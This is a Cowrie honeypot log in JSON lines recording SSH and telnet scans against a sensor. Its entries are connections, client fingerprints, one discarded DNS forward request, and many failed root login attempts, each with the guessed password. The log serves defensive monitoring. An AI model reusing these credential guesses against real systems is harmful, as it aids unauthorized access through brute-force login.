{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:29:55.803386Z","src_ip":"87.251.64.176","session":"b627900238eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:29:55.905768Z","src_ip":"87.251.64.176","session":"b627900238eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":50578,"dst_ip":"159.203.135.109","dst_port":22,"session":"91e57055749c","protocol":"ssh","message":"New connection: 62.133.63.178:50578 (159.203.135.109:22) [session: 91e57055749c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:00.902508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:00.908814Z","src_ip":"62.133.63.178","session":"91e57055749c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:01.038493Z","src_ip":"62.133.63.178","session":"91e57055749c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"21021984","message":"login attempt [root/21021984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:01.487007Z","src_ip":"62.133.63.178","session":"91e57055749c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:02.607457Z","src_ip":"62.133.63.178","session":"91e57055749c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":40642,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2db6265a69a","protocol":"ssh","message":"New connection: 147.45.197.250:40642 (159.203.135.109:22) [session: a2db6265a69a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:03.146377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:03.151751Z","src_ip":"147.45.197.250","session":"a2db6265a69a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:03.244186Z","src_ip":"147.45.197.250","session":"a2db6265a69a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iddqdiddqd","message":"login attempt [root/iddqdiddqd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:03.515184Z","src_ip":"147.45.197.250","session":"a2db6265a69a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:04.608816Z","src_ip":"147.45.197.250","session":"a2db6265a69a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.12.244.162","src_port":39426,"dst_ip":"159.203.135.109","dst_port":23,"session":"b621d3d3859b","protocol":"telnet","message":"New connection: 171.12.244.162:39426 (159.203.135.109:23) [session: b621d3d3859b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:15.274773Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":37218,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e9f9af7bda5","protocol":"ssh","message":"New connection: 46.19.67.181:37218 (159.203.135.109:22) [session: 1e9f9af7bda5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:21.357481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:21.372307Z","src_ip":"46.19.67.181","session":"1e9f9af7bda5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:21.486182Z","src_ip":"46.19.67.181","session":"1e9f9af7bda5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"syed8123442475","message":"login attempt [root/syed8123442475] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:21.829609Z","src_ip":"46.19.67.181","session":"1e9f9af7bda5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:22.950714Z","src_ip":"46.19.67.181","session":"1e9f9af7bda5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1bcd1ed9e67","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: a1bcd1ed9e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:25.200644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:25.207325Z","src_ip":"23.97.62.150","session":"a1bcd1ed9e67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:25.444042Z","src_ip":"23.97.62.150","session":"a1bcd1ed9e67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd12","message":"login attempt [root/passwd12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:26.152281Z","src_ip":"23.97.62.150","session":"a1bcd1ed9e67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:27.395106Z","src_ip":"23.97.62.150","session":"a1bcd1ed9e67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.274570226669312,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:27.549181Z","src_ip":"171.12.244.162","session":"b621d3d3859b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":37842,"dst_ip":"159.203.135.109","dst_port":22,"session":"e30d51cbe153","protocol":"ssh","message":"New connection: 103.82.132.16:37842 (159.203.135.109:22) [session: e30d51cbe153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:55.403795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:55.408962Z","src_ip":"103.82.132.16","session":"e30d51cbe153","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:55.666930Z","src_ip":"103.82.132.16","session":"e30d51cbe153","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stalker007","message":"login attempt [root/stalker007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:56.442217Z","src_ip":"103.82.132.16","session":"e30d51cbe153","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:30:57.702180Z","src_ip":"103.82.132.16","session":"e30d51cbe153","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":56846,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccf16940e65f","protocol":"ssh","message":"New connection: 37.233.85.71:56846 (159.203.135.109:22) [session: ccf16940e65f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:31:56.668778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:31:56.673809Z","src_ip":"37.233.85.71","session":"ccf16940e65f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:31:56.812786Z","src_ip":"37.233.85.71","session":"ccf16940e65f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kovalev","message":"login attempt [root/kovalev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:31:57.218991Z","src_ip":"37.233.85.71","session":"ccf16940e65f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:31:58.330615Z","src_ip":"37.233.85.71","session":"ccf16940e65f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.196.27.130","src_port":57984,"dst_ip":"10.17.0.5","dst_port":22,"session":"2631a47a7302","protocol":"ssh","message":"New connection: 118.196.27.130:57984 (10.17.0.5:22) [session: 2631a47a7302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:32:10.684891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:32:10.705093Z","src_ip":"118.196.27.130","session":"2631a47a7302","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:32:11.134881Z","src_ip":"118.196.27.130","session":"2631a47a7302","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mas","password":"mas","message":"login attempt [mas/mas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:32:12.047550Z","src_ip":"118.196.27.130","session":"2631a47a7302","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:32:13.281575Z","src_ip":"118.196.27.130","session":"2631a47a7302","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":33762,"dst_ip":"10.17.0.5","dst_port":22,"session":"47a8bd9a4690","protocol":"ssh","message":"New connection: 147.45.199.80:33762 (10.17.0.5:22) [session: 47a8bd9a4690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:32:28.713872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:32:28.719092Z","src_ip":"147.45.199.80","session":"47a8bd9a4690","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:32:28.809261Z","src_ip":"147.45.199.80","session":"47a8bd9a4690","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20021991","message":"login attempt [root/20021991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:32:29.083164Z","src_ip":"147.45.199.80","session":"47a8bd9a4690","protocol":"ssh"}
